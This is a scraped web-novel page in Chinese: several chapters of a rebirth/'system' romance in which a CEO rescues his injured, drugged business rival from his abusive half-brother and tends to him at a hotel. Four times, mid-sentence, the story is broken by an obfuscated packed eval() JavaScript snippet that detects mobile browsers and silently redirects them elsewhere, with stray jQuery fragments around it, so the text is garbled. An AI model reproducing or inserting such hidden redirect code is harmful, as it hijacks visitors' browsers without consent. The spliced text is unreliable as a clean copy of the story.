他身量很高,起码比谢哲韬高半个头,外搭英伦风的长款烟灰绒面大衣,扣子全部解开,只虚搭在肩膀上,廓形锋利挺阔,中间一套戗驳领烟灰西装,显的来人宽肩窄腰,比男模还要挺拔,可再往上看,他的表情却极其冷漠,清贵俊美的眉目沉沉压下来,像是酝酿着滔天的怒气。 骤然见到这人,牌桌上的所有人不约而同的站了起来,后退了一步。 谢哲韬率先反应过来,虽然他厌恶这个哥哥,可真站在谢临溪面前,谢哲韬又有点怂,当下往前一步,脸上挤出笑意:“哥?……呃,不是,我也没告诉你啊,哥,哥你怎么来了啊?” 谢临溪扫他一眼,冷淡开口:“这是在干什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258703|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢哲韬手里还握着个酒瓶子,他讪讪一笑,从旁边摸了个玻璃杯,作势倒了一杯:“啊,这,这不是起来敬酒,和朋朋友们碰杯吗?哥你喝吗?” 谢哲韬倒了满满一杯,递给谢临溪,谢临溪没接,他就将杯子塞到谢临溪手中,讪讪道:“哥,喝酒,喝酒……” 四周人连忙附和:“是,是是。” 谢临溪没看搭理他们,只微微偏头,垂眸看向了角落里的顾青衍。 谢临溪这人脾气不错,可惜眼形状窄长,瞳孔颜色浅淡,是偏灰的琉璃色,无端带着疏离淡漠,尤其垂眼看人的时候会显得有点轻蔑,虽然他本人没这个意思,但比他略矮的顾青衍曾经说过,最讨厌谢临溪居高临下的看他。 谢临溪怎么可能听顾青衍的,顾青衍越说讨厌,他就越要垂眸看他,一边垂眸一边微笑,怎么挑衅怎么来。 但那时,顾青衍也是站着的,抬头对着谢临溪冷笑,互相阴阳怪气,而不是像现在这样,护着小腹,蜷缩在墙角,手指拽着长毛地毯的边缘,用力到微微痉挛,满脸的冷汗。 谢临溪:“他是怎么回事?” “他,哦,他……”谢哲韬,“嗨,就一小明星,找我来要角色的,我没给,非要缠上来,惹人嫌的很。” 谢哲韬知道,他哥从执掌耀世开始,眼睛里就容不得沙子,最讨厌走后门拿角色的人,便恶人先告状,省的谢临溪多问,抖出点事儿来。 谢临溪意味不明的哦了一声:“呵,他来找你要角色,还非要缠上来?” 谢哲韬:“可不是嘛,哎,我和他说了,那可不行,这角色都定好了,得合适的人来演,走后门没用的,谁知道这人一根筋,执着的很……” 他絮絮叨叨的说这话,谢临溪的目光始终落在顾青衍身上,他看见顾青衍伸手按住沙发,苍白的手指用力,撑着从地上半跪着爬了起来,又虚扶着墙借力,这才站直了。 谢临溪想:“这人好像确实很怕在旁人面前狼狈。” 明明疼的狠了,却还要站直身体,连痛呼也压在嗓子中,只剩下囫囵的气音。 谢临溪在等顾青衍辩解。 顾青衍这样心高气傲的人,被谢哲韬泼了脏水,理应争辩,可谢临溪一直等他站直了,顾青衍都没有开口。 非但没用开口,脊背还崩的极紧,全然是防御的姿势,仿佛谢临溪下一秒就会动手,再给他一个教训。 ——二世祖找小明星喝酒,家里人找来了,那一定是小明星带坏了二世祖,来警告示威,总不可能是来教训自家人的。 谢哲韬泼脏水,他就任由谢哲韬泼,好像认定了没人会听他的辩解,没人会帮他离开,他开不开口都无济于事。 谢临溪心道:“所以在顾青衍眼中,我其实是这么个形象?” 和谢哲韬蛇鼠一窝,会无条件包庇弟弟,弟弟睁着眼睛说瞎话,哥哥就纵然溺爱,兄友弟恭,美满和睦? 所以前世顾青衍厌恶他,疯了一样针对耀世,是因为他根本不相信,也不敢相信,他谢临溪其实是个有人品的正常人? 在漫长的沉默中,包厢里的气氛冷得像凝了一层霜,谢哲韬僵笑道:“哥,你别站这里了,看他干嘛,这人我已经教训过了,来来来,和我们一起喝酒吧。” 他动手去扯谢临溪,却没扯动,却见谢临溪回头,似笑非笑的看着他:“你教训过了?这人身上的伤,是你教训的?” 顾青衍腰上青一块紫一块,唇角还咬破了,还渗着血,怎么看都是教训的太过了。 谢哲韬嗨了一声:“那不是他非要死缠烂打,不给角色就不走,我也是实在没办法,只能给点教训,然后我又喝了点酒,这下手就……” 谢临溪语带笑意:“喝了点酒?” 他将酒杯递到唇边,也施施然喝了一口:“我有没有告诉你,我今天也喝了酒,七分醉,加上现在这杯,大概有八分?” 谢哲韬:“……啊?这是什么意思,哎呀,哥,你别管这人了,他就一不知廉耻的,为了出名要角色不择手段的,别脏了你的眼,来来来,你来和我们……” 谢临溪:“是吗?” 他意味不明的重复,在谢哲韬讶异的目光中骤然抬腿,一脚踹在了他的胸口。 4. 呵 那一脚踹得又快又狠,谢哲韬还来不及反应,下腹一阵剧痛,踉跄两步倒跌出去,撞在了桌角。 场上其他人目瞪口呆,一时都往了上前,谢哲韬更是直接给踹懵了,头晕眼花了两秒,下意识骂道:“你他妈的——” “嗯?我怎么了?” 谢临溪站在原地,饶有兴致的喝了口杯中的酒液,看了眼手中的玻璃杯,这酒是谢哲韬带来的,谢哲韬重享受,好面子,选的酒品质不错,还算可以入口。 等喝的差不多了,他随手将酒杯往桌面一搁,玻璃和大理石碰撞,发出极有压迫力的闷响。 谢哲韬瞬间抖了一下。 谢临溪垂眸看他,眼瞳在顶灯的照射下呈现出极冷的烟灰色调,似笑非笑:“说话,我怎么了?” 谢哲韬又怒又怕,他疼的历害,要是往常,早就暴躁发火了,可当着谢临溪的面,有火也不敢发,瑟瑟道:“没,没事。” 酒会的主人缩在桌角,摔的七荤八素,作陪的几个二世祖也吓得不轻,但他们谁也没敢来掺和谢临溪的家务事,只鹌鹑似的在背后缩成一排,讪讪:“谢,谢总,别,别动手,有,有话好好说。” “谢,谢总,是,是不是有什么误会?” “误会?”谢临溪嗤笑:“长本事了谢哲韬,你当我是瞎子,还是当我是傻子啊,你灌别人酒,打别人巴掌,原来是因为别人勾引你?在这会所里吞云吐雾,叫一堆男孩女孩陪你喝酒赌博,谢家的钱给你,你就是这么用的?嗯?” 听见这话,安安静静立在沙发边的顾青衍抬眸看了眼谢临溪,又很快垂了下去。 “我……”谢哲韬咬牙,他又恨又气,目光掠过一众酒友,发现捧着他的男孩女孩和二世祖们都站在角落里,个个低眉敛目,用头顶对着谢临溪,屁都不敢放一个,恨不得隐身了才好。 ——他哪里知道,这群人平日里受了他不少气,看见他被谢临溪教训,都在心中暗爽。 谢哲韬从小也是家里捧惯了的,在狗腿面前丢了面子,恨的牙痒痒,他扶着桌角站起来,不敢直接说谢临溪的不好,只嘴硬道:“那小明星为了讨角色自甘下贱的多了去了,什么事儿做不出来,都是些下贱东西,我打他是给他脸,我……” 谢临溪轻笑出声:“呵。” 还没等谢哲韬领悟这笑容的含义,下一秒,谢临溪骤然扬手,甩了谢哲韬一巴掌。 清脆的巴掌声中,谢哲韬被打的偏向一边,半趴在了桌子上。 谢临溪抬手理了理歪掉的袖扣,看向谢哲韬:“好好说话,会吗?” “……” 谢哲韬缓了好久,扶着桌子站稳了,额发垂落下来遮住眼睛,他眼睛斜睨着谢临溪,啐了一口,咬着牙念了些话,却到底没敢让谢临溪再听见。 谢临溪懒得管他念叨了什么,只道:“站直。” 谢哲韬又是一抖,站直了。 谢临溪:“道歉。” 谢哲韬:“我——” 谢临溪:“给这个人道歉,会吗?” “……” 全场噤若寒蝉。 其实在江城上层圈子,谢临溪的口碑一直很好,他人长的高挑俊美,说话自带三分笑意,是偏温和容易亲近的个性,但当他不笑的时候,眉目沉沉压下来,即使是平静的语调口吻,也让一帮人不寒而栗。 谢哲韬嘴唇蠕动:“对……对不起。” 谢临溪:“盯着地板说算什么,看着他的眼睛说。” 谢哲韬有是一抖,不得不抬眼和顾青衍对视,像只落水狗:“对,对不起。” 顾青衍黑沉沉的眼睛看了他一下,又很快垂了下去,方才他被谢哲韬压在地上的打,唇角咬破了,脸颊全是青紫的痕迹,衬衫的扣子挣扎掉了两颗,衣摆也撕烂了,狼狈的不成样子,他将仅剩的扣子扣好,衣摆的褶皱小心的理顺了,勉强收拾出了他现在能表现出的最体面的样子。 顾青衍总是这样,似乎在旁人面前有一点不体面,都是要了他的命。 而谢陵溪教训完谢哲韬,终于能回头看顾青衍,他表面不动声色,神态冷淡,但时隔两世再一次重面死对头,心态还是有些复杂。 面前这位,可是刚让耀世的股票狂跌了一百个亿。 谢临溪微微皱眉:“你……” 顾青衍:“……抱歉,我可以离开了吗?” 他脸上泛着不正常的潮红,拿着不合身的西装外套,在布料的遮掩下,指甲陷入掌心,手臂微微发着抖,冷汗从额头上不住的滚下来,将衬衫的背面完全浸透了。 被经纪人灌了药,又被谢哲韬灌了酒,被击打的小腹至今隐隐作痛,混合着铺面而来的烟味,顾青衍早就是强弩之末 房间里开了空调,是人体最适宜的温度,他却既热又冷,呼吸在药物作用下渐渐急促,不得不小心控制以防出丑,身体却冷得很,全身微不可察的战栗着,皮肤起了一层鸡皮疙瘩,嗓子里直泛恶心,几欲呕吐,再在房间里待下去,他连最后的体面也无法维持。 谢临溪一顿,旋即点头:“好。” 他本来想留顾青衍商量商量赔偿,谢哲韬打了人,于情于理,谢临溪都会给一笔足够的赔偿,省得日后生意场上相见,顾青衍左右看他不顺眼,针锋相对阴阳怪气的,好像谢临溪欠了他八百万一样。 但顾青衍要走,他也不急于这一时,左右顾青衍还在圈子里,以谢临溪的地位,要找他也就是一句话的事儿。 顾青衍便没再看这边,径直往外走,他的腿好像在挣扎时受了些伤,走起来一瘸一拐的,半拖半拉着走到门口,迈步出去了。 谢临溪转过头,重新垂眸看向半死不活的谢哲韬:“你的手机在哪里?” 谢哲韬哆嗦着不说话,谢临溪又看向另一个二世祖:“谢哲韬的手机在哪里?” 那人战战兢兢的从门口悬挂着的外套上摸出谢哲韬的手机,双手递给谢临溪,谢临溪用谢哲韬的脸一刷,点进存储录像,果然看见了一堆视频。 他没点进去,但单凭视频封面,也能看见一张张或惶恐或惊惧的脸。 谢临溪按住眉心,单手支起额头,气的有些想笑了。 这时他才刚刚接任耀世,好几个股东觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪雅珠就是谢临溪的继母,这人之前跟着谢临溪的父亲管过一段时间的公司事务,虽然烂泥扶不上墙,但还是有几个交好的股东,尤其比起谢临溪,谢哲韬好拿捏太多,不少股东明里暗里都更希望谢哲韬上位,谢临溪现在地位不稳,下手这样不留余地,容易引起风波。 谢临溪:“报,总得有人管教管教他,省的之后惹出更大的祸事。” 谢临溪心道:“坐牢,总比到时候被顾青衍按在邮轮上打,打成重伤二级的好。” 张晨:“那股东会议……” 谢临溪:“你报就是,我心里有数。” 张晨:“欸欸,好嘞,听您的。” 把秘书丢下来善后,谢临溪也懒得再管这一屋子的男男女女,抬步下楼,在他身边,一个小光团悄悄的浮现了出来。 “宿,宿主……” 刚才谢临溪在包厢又是踹人又是扇巴掌,小八有点儿怕他,光团漂浮在谢临溪面前,怯生生,糯糯的问:“宿,宿主……您记得……剧情要,要求让顾青衍有今夜本该有的美好体,体验吗?您,您将顾青衍放走了,还把谢哲韬打,打傻了,我们的体,体验怎么办?” “……” 谢临溪脚步一顿。 5. 捡人 但谢临溪只顿了一瞬,就继续向下走去。 张晨已经安排了司机来接,就停在停车场。 面前的小光团又怂又怕,谢临溪按下下行电梯,将光团拢了过来:“小八,我翻过我们的合同。” 作为市值千亿公司的首席执行官,谢临溪签合同当然不可能像签用户须知那样——一路拖到底,看也不看就勾选同意,他仔仔细细审阅了其中的每一项条款,包括双方的责任义务,任务的具体要求。 008茫然:“嗯?” 谢临溪:“如果我记得没错,你的任务完成度包括两个部分,一个是剧情完整度,一个是主角美满度,今天顾青衍的美满度必须要过5%,对吗?” 光团安安静静的趴着,狐疑的歪了歪脑袋:“对?” 谢临溪:“但很不幸,这两点是相违背的,如果我走剧情,那顾青衍今晚不可能有一丁点美满度。” 两人做了那么多年的对手,谢临溪了解顾青衍,这人个性清高,从来学不会低头,给他下药还逼他上床,只会让他恶心的无以复加,搞不好能将胆汁都吐出来,更不要说美满度了。 更何况…… 顾青衍和谢哲韬,别说要发生些什么,单是将这两人放在一起,谢临溪的眉头就不自觉的皱了起来。 一个是他争锋相对旗鼓相当的对手,一个是他压根看不上的废材弟弟。 谢临溪和顾青衍是死对头没错,可生意场上你来我往,早就有种心照不宣的默契,彼此是互相认可的,但将顾青衍和谢哲韬凑一起,那就好比鲜花与狗屎。 谢临溪一想到他纠缠不休的对手有可能被狗屎玷污,就感觉他连着一起被玷污了,整个人像吃了苍蝇一样恶心。 光团:“……唔?” 008是新生的小系统,是个完全没被忽悠过的纯良孩子,谢临溪是它的第一个宿主,宿主说什么,它就信什么。 谢临溪已经淡定的下了结论:“所以,在两者难以兼顾,鱼和熊掌不可兼得的情况下,我的建议是,只刷顾青衍的美满度,至于剧情,选择性的做一部分,及格就好。” 008晕晕乎乎,完全不是谢临溪的对手:“唔,让我,我想想……” 它没说好,也没说不好,已经被谢总捉在手中,带到了会馆停车场。 车已经在出口等候,谢临溪拉开后座,坐了进去。 司机:“谢总,是回家吗?” 谢临溪将008在旁边的座位上安置好,按了按额角:“就近开个星级酒店吧,我现在不太舒服。” 江城是人口过千万的大城,南北城区直线距离五十公里往上,算上城区堵车绕路,回去要两个多小时。 谢临溪今天实在有些喝多了,他本就有七分醉意,又横跨大半个城区来捞人,刚刚还补了一杯,头晕的很,实在不想再坐两个小时的车。 司机不是第一次处理类似情况,当即道:“诶,好,江城酒店行不行?” 谢临溪颔首,司机平稳的启动车驾,开出地下车库。 闸机抬起,车辆汇入洪流,谢临溪则按着胀痛的额角,视线落在窗外,思索是否要趁这机会看两份报表。 但他眼睛漫无目地的一扫,掠过车辆和人群,忽然顿住了。 在会所建筑的大理石外墙和普通居民区接洽的阴影处,似乎有人正扶着墙壁,缓慢的行走着。 那人身量高,腰背薄瘦,走得却极慢,姿态也很不正常,大腿牵扯着发力,勉强带动小腿,一瘸一拐的,走不到两步,就要停下来歇息片刻,随时都要往旁边栽倒,等勉强扶住身形后,又继续往前迈步。 谢临溪:“开慢一点,往路边靠。” 司机依言靠边,谢临溪则微眯起眼睛,看清了路边的人。 是顾青衍。 谢临溪心道:“他怎么还在这里?” 在无人注意的阴影处,这人像是终于允许自己泄露出狼狈,他向来挺直的脊背微弯了起来,弓着腰蜷缩着,一手扶着墙壁,艰难往前迈步。 是了,他腿受了点伤,走不快,也走不远。 小八顺着谢临溪的视线飘过来:“唔,应该是扭挫,这是剧情中的。” 原文里谢哲韬顾青衍拉拉扯扯的时候,为了限制顾青衍的行动让他不在挣扎,使生命大和谐更加顺理成章,也有一段扭挫的剧情,只不过原剧情顾青衍扭挫后腿就没落过地,小八也没想到,这人拖着条伤腿,一路走到了这里。 小八翻了翻书:“唔,事后谢哲韬还会帮着冰敷,以体现攻柔情似水的一面,是两人感情进步的重要节点呢。” 谢临溪:“。” 他心想:“这剧情怎么走,我难道要将谢哲韬绑来给顾青衍冰敷?” 张晨刚叫了警察,谢哲韬搞不好还在局子里录口供呢。 而就在他和小八说话的间隙,顾青衍又往前走了几步,谢临溪顺着他前进的方向看去,看见了几百米开外的一座公交车站。 谢临溪收回视线,抬手看了眼表。 9:51。 如果他没记错,这个站台的末班车,是10点。 照顾青衍现在走路这个速度,怕不是末班车来了,他都摸不到站台的边。 谢临溪心道:“算了,反正是要刷美满值的,现在掉下去了,明天还要刷回来,我搭把手。” 他吩咐道:“靠边停车。” 小八刚刚给谢临溪绕晕了,原本厌厌的蹲在一边,谢临溪开门下车,小八连忙飘起来,扒拉在了窗户边。 它看见宿主甩上车门,大步流星的朝顾青衍走去。 小八:“……唔?” 谢临溪已经走到了顾青衍身边,蹙眉开口道:“你——” 他顿了顿,没想好怎么称呼顾青衍。 顾总?显然不行,顾青衍还不是华星的话事人;直接叫顾青衍?也不行,顾青衍在会馆没有自爆姓名,谢临溪不应该认识他;喂,那谁?不太礼貌,顾青衍心眼比针尖还小,又死记仇,还喜欢翻旧账,谁知道他会不会暗戳戳记小本子,到时候又和耀世结上梁子。 可还不等谢临溪想出个子丑寅卯,顾青衍显然被骤然靠近的谢临溪吓到了,当即想直起身体,端正仪态,一手往下遮掩腰腹间撕烂的衬衫,可他脚步虚浮,又哪里端正的起来,当下步履一错,整个身体向一旁歪去,谢临溪下意识一伸手,就被他当成扶手,抓着胳膊,一头撞进了怀里。 谢临溪木头杆子似的撑着死对头的大半体重,十分有十二分的无语:“喂,不是……” 他心说顾总,这可是你自己要撞进来的,和我一点关系都没有,到时候你再翻旧账,可不能把这笔算上。 但很快,谢临溪就发现他多虑了。 顾青衍显然有点神志不清了。 他面色潮红,眼中也是一片迷蒙的水雾,鸦黑的眸子隐在水雾后,茫然的很,这时候别说扶着他的是谁,恐怕东南西北都分不清了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258705|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢临溪:“醉了?” 也是,顾青衍今晚被灌了酒,酒是60度往上的烈酒,足足半瓶,确实是该醉了。 谢临溪心道:“难怪刚刚急着走,是怕再晚一步,就要当众出丑了。” 小说里,为了达成生命大和谐,顾青衍也是晕晕乎乎神志不清的状态,可没想到剧情蝴蝶掉了,顾青衍还是昏了。 但即使这样,这人还扶着他的胳膊,尝试着借力站起来,他从谢临溪怀里挣脱,重新扶住墙,这才微微松了口气似的,居然还说了声:“抱歉……谢谢……” 谢临溪心想:“可真稀罕啊。” 前世他想签顾青衍,正儿八经千万级别的合同散出去,路都给他铺好了,顾青衍连句谢也懒得说,转头就签了别家,谢临溪还以为他这人天生不会说谢谢。 他垂手站在一旁,顾青衍就像是不知道身边有个人,也不会求救,居然扶着墙再次迈步,拖着条不知情况的伤腿,想要往前走去,他定定看着前方,似乎那红红黄黄的公交站成了他此生唯一的焦点,拼死了也要走到里面去。 谢临溪心道:“真是见鬼,都神志不清了,还这么倔?” 他略感无语,抱臂跟在顾青衍旁边,看他乌龟似的往前挪,时不时cos一把电线杆子,让顾青衍扶着站稳,而顾青衍就愣是没发现他身边有个活人,更没想求助,将谢总当成了一根完美匹配他跌倒位置的电线杆子。 往复三次后,谢陵溪耐心告罄。 他单手拦在顾青衍面前,挡住他的去路:“还认得我吗?” 顾青衍不说话,像是不太明白为什么电线杆子忽然会拦路了,只看向远方的公交亭,尝试着将谢临溪的手抬起来。 谢临溪一看表,10:01。 顾青衍就算走到公交站台,等到第二天早上,也没有公交带他回家了。 谢临溪看着锲而不舍,腰背笔挺,非想抬他手的顾青衍,气得想笑了。 ——很好,不错,不愧是顾总,公交时间记不住,人分不清,倒是还记得站姿,记得将腰背裸露的青紫遮掩起来。 谢临溪估摸着醉成这样,顾青衍明天早上铁定断片,是没法记仇翻旧账了,当下轻轻拍了拍他:“顾青衍,真醉了?还认得出我是谁吗?” 顾青衍只是看着他。 谢临溪:“换个问题,你家住哪儿?我带你回去。” 可顾青衍还是看他,像是完全理解不了他的问题。 谢临溪深吸了一口气。 这人大概意识不到现在的模样有多狼狈,衬衫撕烂了一截,头发上全是冷汗,和摩斯混在一起,就连眼中也是一层水光。 ——如果后世有人不小心看见顾青衍这个样子,顾青衍绝对会将这人活撕了。 谢临溪叹了口气,虚扶住他:“顾青衍,我怕你晕路上,把你带酒店去,给你单独开一间房,你明天醒了就走,回头不准翻我旧账,听见没有?” 顾青衍显然是回答不了的。 谢临溪便拦着他的腰,想要往车里带,结果这人认死了墙壁和公交站的方向,倔的可怕,谢临溪拽了两下,愣是没拽动。 谢临溪心道:“麻烦。” 左右顾总喝得七荤八素,也不能把他怎么样,谢临溪多用了两分力,在膝盖处一抄,提起他的伤腿,半抱着将顾青衍塞进了车里。 他从另一边上车,反手拉过安全带将顾青衍束在座位上,示意司机:“还是刚刚的酒店,开吧。” 6. 看伤 车子平稳启动,汇入车流。 刚刚的顾青衍倔的要死,上了车倒是很安静,他也不知道是不是将谢临溪的豪华车驾当成了公交车,默默盯了几秒窗外,见那公交站台渐渐远去,直到消失在视线中再也看不见,他聚焦的眼神才变得涣散,茫然的看了几秒天花板,靠在座椅上睡着了。 谢临溪看了他一眼,收回了视线。 去酒店的路要经过江城一条非常拥挤的主干道,能从早上七点堵到晚上十点,司机慢慢开着车,谢临溪就从拿出电脑,打算趁着间隙看一眼文件。 他刚刚重生,很多事情记不清了,得尽快回忆。 日程表标记了他今日的主要行程,在赶来踹谢哲韬前,他正在和导演秦啸前谈新戏的投资协议。 这戏是秦啸前的转型之作,也是谢临溪接管耀世后最先投资的几部戏之一。 那时候股东们看他年轻,喜欢和他对着干,尤其不看好秦啸前的这部,投资是谢临溪力排众议非要定下的,虽然中间略有波折,有个演员中途出了重大丑闻,导致剧集播到一半下架重剪,但播出后结果不错,算是小爆款。 谢临溪揉着额角,仔细回忆起投资是始末,一边翻看方案,一边思索着如何名正言顺的将那演员踢出去。 可看到一半,谢临溪的肩膀忽然一沉,他往旁边一看,正对着死对头头顶的两个发旋。 谢临溪手一抖,险些将电脑摔出去。 ——顾青衍睡着了,方才倔的的要死,非要往公交站台走,睡着却没骨头似的,身体软的历害,司机一个转弯,他往旁边一倒,就将脑门靠在了谢临溪身上,似乎将他当成了栏杆或者靠垫。 “……” 谢临溪盯着那两个发旋看了一会儿,心道:“两个发旋,难怪倔得像驴。” 他腹诽了一句死对头,合上电脑,探身将顾青衍的脑袋掰回原位,又将安全带束紧了一些,沉声道:“坐好。” 他处理好死对头,重新打开笔记本,接着看报表。 结果没看出两行,司机再次转弯,顾青衍面条似的滑下来,又将脑袋枕在了谢临溪的肩膀上。 “……” 谢临溪只得再次将电脑放到一边,把顾青衍的脑袋再次掰回原位,抬手拍了拍他的脸:“顾青衍,你清醒点,你给我坐好。” 谢临溪再次打开电脑,结果这回看完,他在准备在触控板上签字呢,顾青衍顺着座椅往下滑,第三次靠在了谢临溪的肩膀上,将他的笔迹直接撞断了。 “……” 谢临溪放弃了。 他支撑着死对头的体重,微微前探身子,询问司机:“我们这车装了车内记录仪吗?” 这是公司的车,经常往来接送客户,为了避免扯皮,车内往往有摄像系统。 司机一愣:“啊?” 谢临溪:“今天的记录,发我一份。” 顾青衍先蹭上来的,这可怨不得他,到时候顾青衍翻旧账,或者两人生意上再有磨擦,谢临溪就将这录像往顾青衍面前一推,再阴阳怪气两句“顾总,当时在我肩上睡那么香,现在翻脸不认人了?”或者“顾总可真是薄情寡义,贵人多忘事啊。”,到那时候恶心的可不是他,而是顾青衍。 谢临溪被迫接受了肩膀上的重物,继续看报表。 他非常努力的将注意力集中在电脑屏幕上,可眉头却越蹙越死,越蹙越死,最后不得不关了电脑,深吸一口气,抬手捏住鼻背。 顾青衍离他这么近,居然还在呼吸。 热气喷在脑后,打了摩斯的发丝擦过脖颈,更不用说顾青衍不知道是难受还是醉了,口中断断续续的气音,像是痛苦,又像是呻吟。 谢临溪掉了一地的鸡皮疙瘩。 谢临溪从小就不喜欢旁人的触碰,母亲去世的早,又和父亲关系不好,就连最亲近的外公,两人也没有这样近距离的接触过。 就在谢临溪忍无可忍,准备将顾青衍掀下去的时候,车终于停靠在了酒店大堂。 谢临溪早将江城所有高星酒店刷到了顶级VIP,侍应生替他拉开车门,谢临溪率先迈步下车。 另外一位侍应生也替顾青衍拉开了门,可惜顾青衍昏昏沉沉,侍应生连叫了两声“先生”,都没有人搭理他。 侍应生又不敢硬拽客人,只得看向谢临溪:“这,这位客人?” 谢临溪长叹了一口气,认命的弯腰探进车里,伸手拍了拍顾青衍的脸:“醒醒,顾青衍,我们下车了。” 他的手冰冰凉凉,贴在脸侧,顾青衍茫然睁开眼,毫无焦距的视线落在谢临溪身上,如同在看一根没有生命的电线杆,又垂眸睡了过去。 谢临溪:“不是,我说?” 大概喝醉了的顾青衍眼中,除了那个他认定的公交车站,其余一切都是电线杆子,谢大总裁也不例外。 但是人都到这里了,也不能丢车里不管,谢临溪认命的将他拽出来,带着上楼了。 死对头喝得七荤八素,步履悬浮又东倒西歪,大半体重压在谢总身上,谢临溪费劲将他带上房间,满腹的怨气。 他定的是最高层的总套,客厅隔开了两个卧室,谢临溪走到其中一个,将顾青衍仰面丢到了床上。 他扯开被子,正准备将死对头一裹,转头走人——顾青衍是喝醉了,他也喝的不少,虽然面上看不出来,但谢临溪自个清楚,他有点儿醉了。 可垂眸看了眼,谢临溪脚步又顿住了。 眼前一切的一切——奢华酒店纯白绵软的床榻,精心调制过的暖黄灯光,墙壁上悬挂的艺术画作,一切都很符合谢临溪对华星总裁顾青衍的刻板印象。 只除了顾青衍本人。 他额头全是汗,皮肤泛红,脸颊上有个巴掌印,唇边有咬破的血痕,喉咙里是压抑着的气音和呻吟,坏掉的衬衫染了尘土,劣质皮鞋之下,脚踝也肿了起来。 在谢临溪和顾青衍针锋相对,恨不得对方早死的时候,谢临溪也不曾想过他会这样的狼狈。 “怎么办,这模样被我看见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258706|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”谢临溪心道,“你会不会气死啊?” 他在床边站了会儿,脸色平静,被他吓到的小八鬼鬼祟祟的浮了上来,超级小声的戳了戳他:“宿,宿主……” 它的声音听上去要哭了:“我们的今天的完成度真的非常差诶。” 谢临溪回头,小光团正飘在半空中抽抽噎噎:“真的,真的很差诶……而且,而且,我们管理局修了bug,你不可以像我前辈的宿主那样肆无忌惮了!” 谢临溪:“你前辈的宿主?” 小光团一边哭一边说:“是,是的,我的前辈,它十次任务九次低分,最后还和他的任务对象跑掉了,是我们所有系统的反面教材,导致管理局紧急修改了评分系统,如果剧情和美满度最后的综合评价太低,管理局会收回重生指标,您会逐渐走向前世的结局,也就是死亡的!” 谢临溪捏了捏它,笑了笑:“小八,别慌,我心里有数。” 他又不是傻子,事关身家性命,他签合同前就将各种条例倒背如流,评分标准就两个,一个美满度,一个剧情完成度。 剧情完成度先不说,谢临溪太了解顾青衍了,也太知道怎么刷顾青衍的美满度了。 比起原著小说中的情情爱爱,顾青衍更想要权力和财富和地位,他骄矜自傲又野心勃勃,谢临溪只需要给他塞资源塞剧本,给他前世有的一切,如果顾青衍配合,谢临溪甚至可以给他一部分耀世的股份,他不需要剧情完成的多好,单靠美满度,就能通关。 至于那些令人恶心的剧情,能放就放吧。 但小光团这样说,谢临溪还是心道:“剧情最好也走一部分。” 万一美满度出了岔子,还有兜底的。 谢哲韬是来不了了,他的剧情,谢临溪倒是可以帮他走一点。 小八说过,在颠倒错乱的一夜后,谢哲韬本该展露恰到好处的柔情,比如,替顾青衍上药冰敷。 谢临溪的视线落在了顾青衍的脚踝上。 前世的顾青衍穿的比男明星还男明星,天天招摇过市的,从头到脚一水儿高定,皮鞋只穿手作头层牛皮,低帮的设计恰好露出细瘦的脚踝,但现在,脚背不正常的耷拉着,脚踝也高高的肿了起来。 扭挫。 谢临溪电话酒店套房管家:“你好,我这这有朋友扭伤了,麻烦准备一下医药箱和冰敷材料。” 十分后,医药箱和冰敷材料送到了套房门口。 谢临溪认命的去拿,然后将顾青衍往下拽了拽,让他的小腿悬空挂在床榻之外,动手脱掉了他的鞋袜。 耀世的总裁,可从来没做过这样伺候人的事情。 谢临溪心中古怪,好在顾青衍爱干净,经纪人告诉他面试,他肯定从头到脚打理干净,鞋袜都是新的,不至于让谢陵溪难受。 他捏住顾青衍的脚踝,将冰敷材料用纱布包了上去。 冰冷的触感骤然袭上皮肤,顾青衍略略挣扎,却被谢临溪按着脚踝扣死了,他便蹙起眉头,脚趾也无助的蜷缩起来。 7. 手套 大概是冰袋温度太凉,顾青衍在睡梦中不太安分,腿不住的摩挲着被子,瑟缩着想躲,谢临溪不耐烦他乱动,攥着脚踝,压着控死了。 等冰袋冰敷够时间,谢临溪往肿胀处涂上药膏,又用纱布裹了一圈,最后看那纱布看了良久,打了个非常丑的蝴蝶结。 蝴蝶结两边大小不对称,方向还是歪的,谢临溪比划了一下,放弃调整。 ——作为事务繁忙的谢总,他的动手能力确实有点糟糕。 